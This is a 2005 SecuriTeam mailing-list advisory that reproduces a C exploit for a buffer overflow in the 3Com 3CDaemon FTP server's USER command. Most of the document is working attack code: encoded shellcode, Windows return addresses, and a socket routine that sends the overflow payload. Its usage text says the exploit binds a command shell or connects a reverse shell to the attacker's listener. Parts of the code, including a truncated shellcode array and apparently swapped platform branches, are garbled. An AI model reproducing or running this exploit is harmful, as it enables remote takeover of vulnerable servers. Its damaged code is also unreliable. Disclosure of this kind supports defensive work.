

[EXPL] 3com 3CDaemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0083.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/21/05

To: list@securiteam.com

Date: 21 Feb 2005 11:05:28 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

3com 3CDaemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)

SUMMARY

3Com FTP Server has been found to contain a remotely exploitable buffer overflow in its parsing of the 'USER' command. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

/*

3com 3CDaemon FTP Unauthorized "USER" Remote BOverflow

The particularity of this exploit is to exploits a FTP server without the need of any authorization.

Homepage: www.3com.com

version: 3CDaemon v2.0 rev10

Link: <ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip>

Application Risk: Severely High

Internet Risk: Low

Securiteam: [EXPL] 3com 3CDaemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)

```
"\x01\xFB\x8B\x4B\x1C\x01\xF9\x8B\x53\x24\x01\xFA\x53\x51\x52"  
"\x8B\x5B\x20\x01\xFB\x31\xC9\x41\x31\xC0\x99\x8B\x34\x8B\x01"  
"\xFE\xAC\x31\xC2\xD1\xE2\x84\xC0\x75\xF7\x0F\xB6\x45\x09\x8D"  
"\x44\x45\x08\x66\x39\x10\x75\xE1\x66\x31\x10\x5A\x58\x5E\x56"  
"\x50\x52\x2B\x4E\x10\x41\x0F\xB7\x0C\x4A\x8B\x04\x88\x01\xF8"  
"\x0F\xB6\x4D\x09\x89\x44\x8D\xD8\xFE\x4D\x09\x75\xBE\xFE\x4D"  
"\x08\x74\x17\xFE\x4D\x24\x8D\x5D\x1A\x53\xFF\xD0\x89\xC7\x6A"  
"\x02\x58\x88\x45\x09\x80\x45\x79\x0C\xEB\x82\x50\x8B\x45\x04"  
"\x35\x93\x93\x93\x93\x89\x45\x04\x66\x8B\x45\x02\x66\x35\x93"  
"\x93\x66\x89\x45\x02\x58\x89\xCE\x31\xDB\x53\x53\x53\x53\x56"  
"\x46\x56\xFF\xD0\x89\xC7\x55\x58\x66\x89\x30\x6A\x10\x55\x57"  
"\xFF\x55\xE0\x8D\x45\x88\x50\xFF\x55\xE8\x55\x55\xFF\x55\xEC"  
"\x8D\x44\x05\x0C\x94\x53\x68\x2E\x65\x78\x65\x68\x5C\x63\x6D"  
"\x64\x94\x31\xD2\x8D\x45\xCC\x94\x57\x57\x57\x53\x53\xFE\xCA"  
"\x01\xF2\x52\x94\x8D\x45\x78\x50\x8D\x45\x88\x50\xB1\x08\x53"  
"\x53\x6A\x10\xFE\xCE\x52\x53\x53\x53\x55\xFF\x55\xF0\x6A\xFF"  
"\xFF\x55\xE4";
```

char scode2[]=

/*XORED*/

```
\xD9\x74\x24\xF4\x5B\x31\xC9\xB1\x5E\x81\x73\x17\x0E\xB4"  
"\x9F\x23\x83\xEB\xFC\xE2\xF4\xF2\x5C\xC9\x23\x0E\xB4\xCC\x76\x58"  
"\xE3\x14\x4F\x2A\xAC\x14\x66\x32\x3F\xCB\x26\x76\xB5\x75\xA8\x44"  
"\xAC\x14\x79\x2E\xB5\x74\xC0\x3C\xFD\x14\x17\x85\xB5\x71\x12\xF1"  
"\x48\xAE\xE3\xA2\x8C\x7F\x57\x09\x75\x50\x2E\x0F\x73\x74\xD1\x35"  
"\xC8\xBB\x37\x7B\x55\x14\x79\x2A\xB5\x74\x45\x85\xB8\xD4\xA8\x54"  
"\xA8\x9E\xC8\x85\xB0\x14\x22\xE6\x5F\x9D\x12\xCE\xEB\xC1\x7E\x55"  
"\x76\x97\x23\x50\xDE\xAF\x7A\x6A\x3F\x86\xA8\x55\xB8\x14\x78\x12"  
"\x3F\x84\xA8\x55\xBC\xCC\x4B\x80\xFA\x91\xCF\xF1\x62\x16\xE4\x8F"  
"\x58\x9F\x22\x0E\xB4\xC8\x75\x5D\x3D\x7A\xCB\x29\xB4\x9F\x23\x9E"  
"\xB5\x9F\x23\xB8\xAD\x87\xC4\xAA\xAD\xEF\xCA\xEB\xFD\x19\x6A\xAA"  
"\xAE\xEF\xE4\xAA\x19\xB1\xCA\xD7\xBD\x6A\x8E\xC5\x59\x63\x18\x59"  
"\xE7\xAD\x7C\x3D\x86\x9F\x78\x83\xFF\xBF\x72\xF1\x63\x16\xFC\x87"  
"\x77\x12\x56\x1A\xDE\x98\x7A\x5F\xE7\x60\x17\x81\x4B\xCA\x27\x57"  
"\x3D\x9B\xAD\xEC\x46\xB4\x04\x5A\x4B\xA8\xDC\x5B\x84\xAE\xE3\x5E"  
"\xE4\xCF\x73\x4E\xE4\xDF\x73\xF1\xE1\xB3\xAA\xC9\x85\x44\x70\x5D"  
"\xDC\x9D\x23\x0E\xD1\x16\xC3\x64\xA4\xCF\x74\xF1\xE1\xBB\x70\x59"  
"\x4B\xCA\x0B\x5D\xE0\xC8\xDC\x5B\x94\x16\xE4\x66\xF7\xD2\x67\x0E"  
"\x3D\x7C\xA4\xF4\x85\x5F\xAE\x72\x90\x33\x49\x1B\xED\x6C\x88\x89"  
"\x4E\x1C\xCF\x5A\x72\xDB\x07\x1E\xF0\xF9\xE4\x4A\x90\xA3\x22\x0F"  
"\x3D\xE3\x07\x46\x3D\xE3\x07\x42\x3D\xE3\x07\x5E\x39\xDB\x07\x1E"  
"\xE0\xCF\x72\x5F\xE5\xDE\x72\x47\xE5\xCE\x70\x5F\x4B\xEA\x23\x66"  
"\xC6\x61\x90\x18\x4B\xCA\x27\xF1\x64\x16\xC5\xF1\xC1\x9F\x4B\xA3"  
"\x6D\x9A\xED\xF1\xE1\x9B\xAA\xCD\xDE\x60\xDC\x38\x4B\x4C\xDC\x7B"  
"\xB4\xF7\xD3\x84\xB0\xC0\xDC\x5B\xB0\xAE\xF8\x5D\x4B\x4F\x23";
```

char payload[1024];

char ebx[]="\x08\xB0\x01\x78";

char ebx2[]="\xB1\x2C\xC2\x77";

char pad[]="\xEB\x0C\x90\x90";

Securiteam: [EXPL] 3com 3CDaemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)

```
char EOL[]="\x0D\x0A";

#ifdef WIN32
WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
char *target, *os;
if (argc > 6 || argc < 2 || atoi (argv [1]) < 1) {usage (argv [0]); return
-1;}
if (argc == 5){usage (argv [0]); return -1;}
if (strlen (argv [2]) < 7){usage (argv [0]); return -1;}
if (argc == 6)
{
if (strlen (argv [4]) < 7){ usage (argv [0]); return -1;}
}
#ifdef WIN32
if (argc == 6)
{
gip = inet_addr (argv [4]) ^ (long) 0x93939393;
gport=htons (atoi (argv [5])) ^ (short) 0x9393;
}
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup (MAKEWORD (2, 0), &wsadata) != 0){ printf ("[+] wsastartup
error\n"); return -1;}
if (argc==6)
{
gip = inet_addr (argv [4]) ^ (ULONG) 0x93939393;
gport=htons (atoi (argv [5])) ^ (USHORT) 0x9393;
}
#endif
int ip= htonl (inet_addr (argv [2])), port;
if (argc == 4 || argc == 6) {port = atoi (argv [3]);} else port = 21;
SOCKET s; fd_set mask; struct timeval timeout; struct sockaddr_in server;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1) {printf ("[+] socket() error\n"); return -1;}
if (atoi (argv [1]) == 1) {target = ebx;os = "Win2k SP4 Server
English\n[+] Win2k SP4 Pro. English\n[+] Win2k SP4 Pro. Norsk\n[+] Win2k
SP4 Server German\n[+] Win2k SP4 Pro. Dutch\n[+] Etc...";}
if (atoi (argv [1]) == 2){target = ebx2; os = "WinXP SP2 Pro. English\n[+]
WinXP SP1a Pro. English\n[+] WinXP SP1 Pro. English";}
}
```

Securiteam: [EXPL] 3com 3C Daemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)

```
printf ("[+] target(s): %s\n", os);
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl (ip);
server.sin_port = htons (port);
connect (s, (struct sockaddr *) & server,sizeof (server));
timeout.tv_sec = 3; timeout.tv_usec = 0; FD_ZERO (&mask); FD_SET (s,
&mask);
switch (select (s+1, NULL, &mask, NULL, &timeout))
{
case -1: { printf ("[+] select() error\n"); closesocket(s); return -1;}
case 0: { printf("[+] connect() error\n"); closesocket(s); return -1;}
default:
if (FD_ISSET (s, &mask))
{
printf ("[+] connected, constructing the payload...\n");
#ifdef WIN32
Sleep (1000);
#else
Sleep (1);
#endif
strcpy (payload, "USER ");
memset (payload + 5, 0x90, 700);
memcpy (payload + 5 + 229, &pad, 4);
memcpy (payload + 238, target, 4);
if (argc == 6)
{
memcpy (&scode1 [5], &gip, 4);
memcpy(&scode1 [3], &gport, 2);
memcpy(payload + 253, scode1, sizeof (scode1));
}
else memcpy (payload + 253, scode2,sizeof (scode2));
strcat (payload, EOL);
if (send (s, payload, strlen (payload), 0) == -1) { printf("[+] sending
error 1, the server proly rebooted.\n"); return -1;}
#ifdef WIN32
Sleep (2000);
#else
Sleep (2);
#endif

printf ("[+] size of payload: %d\n",strlen(payload));
printf ("[+] payload sent.\n");
return 0;
}
}
closesocket (s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
```

Securiteam: [EXPL] 3com 3C Daemon FTP Unauthorized "USER" Buffer Overflow (Windows/POSIX)

```
void usage(char* us)
{
printf ("USAGE:\n");
printf (" [+] . 101_3com.exe Target VulnIP (bind mode)\n");
printf (" [+] . 101_3com.exe Target VulnIP VulnPORT (bind mode)\n");
printf (" [+] . 101_3com.exe Target VulnIP VulnPORT GayIP GayPORT (reverse
mode)\n");
printf ("TARGET: \n");
printf (" [+] 1. Win2k SP4 Server English (*)\n");
printf (" [+] 1. Win2k SP4 Pro English (*)\n");
printf (" [+] 1. Win2k SP4 Server German (*)\n");
printf (" [+] 1. Win2k SP4 Pro China (*)\n");
printf (" [+] 1. Win2k SP4 Pro Dutch (*)\n");
printf (" [+] 1. Win2k SP4 Pro Norsk (*)\n");
printf (" [+] 2. WinXP SP2 Pro. English \n");
printf (" [+] 2. WinXP SP1a Pro. English (*)\n");
printf (" [+] 2. WinXP SP1 Pro. English \n");
printf ("NOTE: \n");
printf (" The exploit bind a cmdshell port 101 or\n");
printf (" reverse a cmdshell on your listener.\n");
printf (" A wildcard (*) mean tested working, else, supposed working.\n");
printf (" Compilation msvc6, cygwin, Linux.\n");
return;
}
void ver()
{
printf("\n");
printf("
=====0.1]=====\n");
printf(" =====3COM 3C Daemon v2.0 Revision
10=====\n");
printf(" =====FTP Service, Remote Stack
Overflow=====\n");
printf(" =====coded by class101=====[Hat-Squad.com
2005]=====\n");
printf("
======\n");
printf("\n");
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:class101@hat-squad.com>>
class 101.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.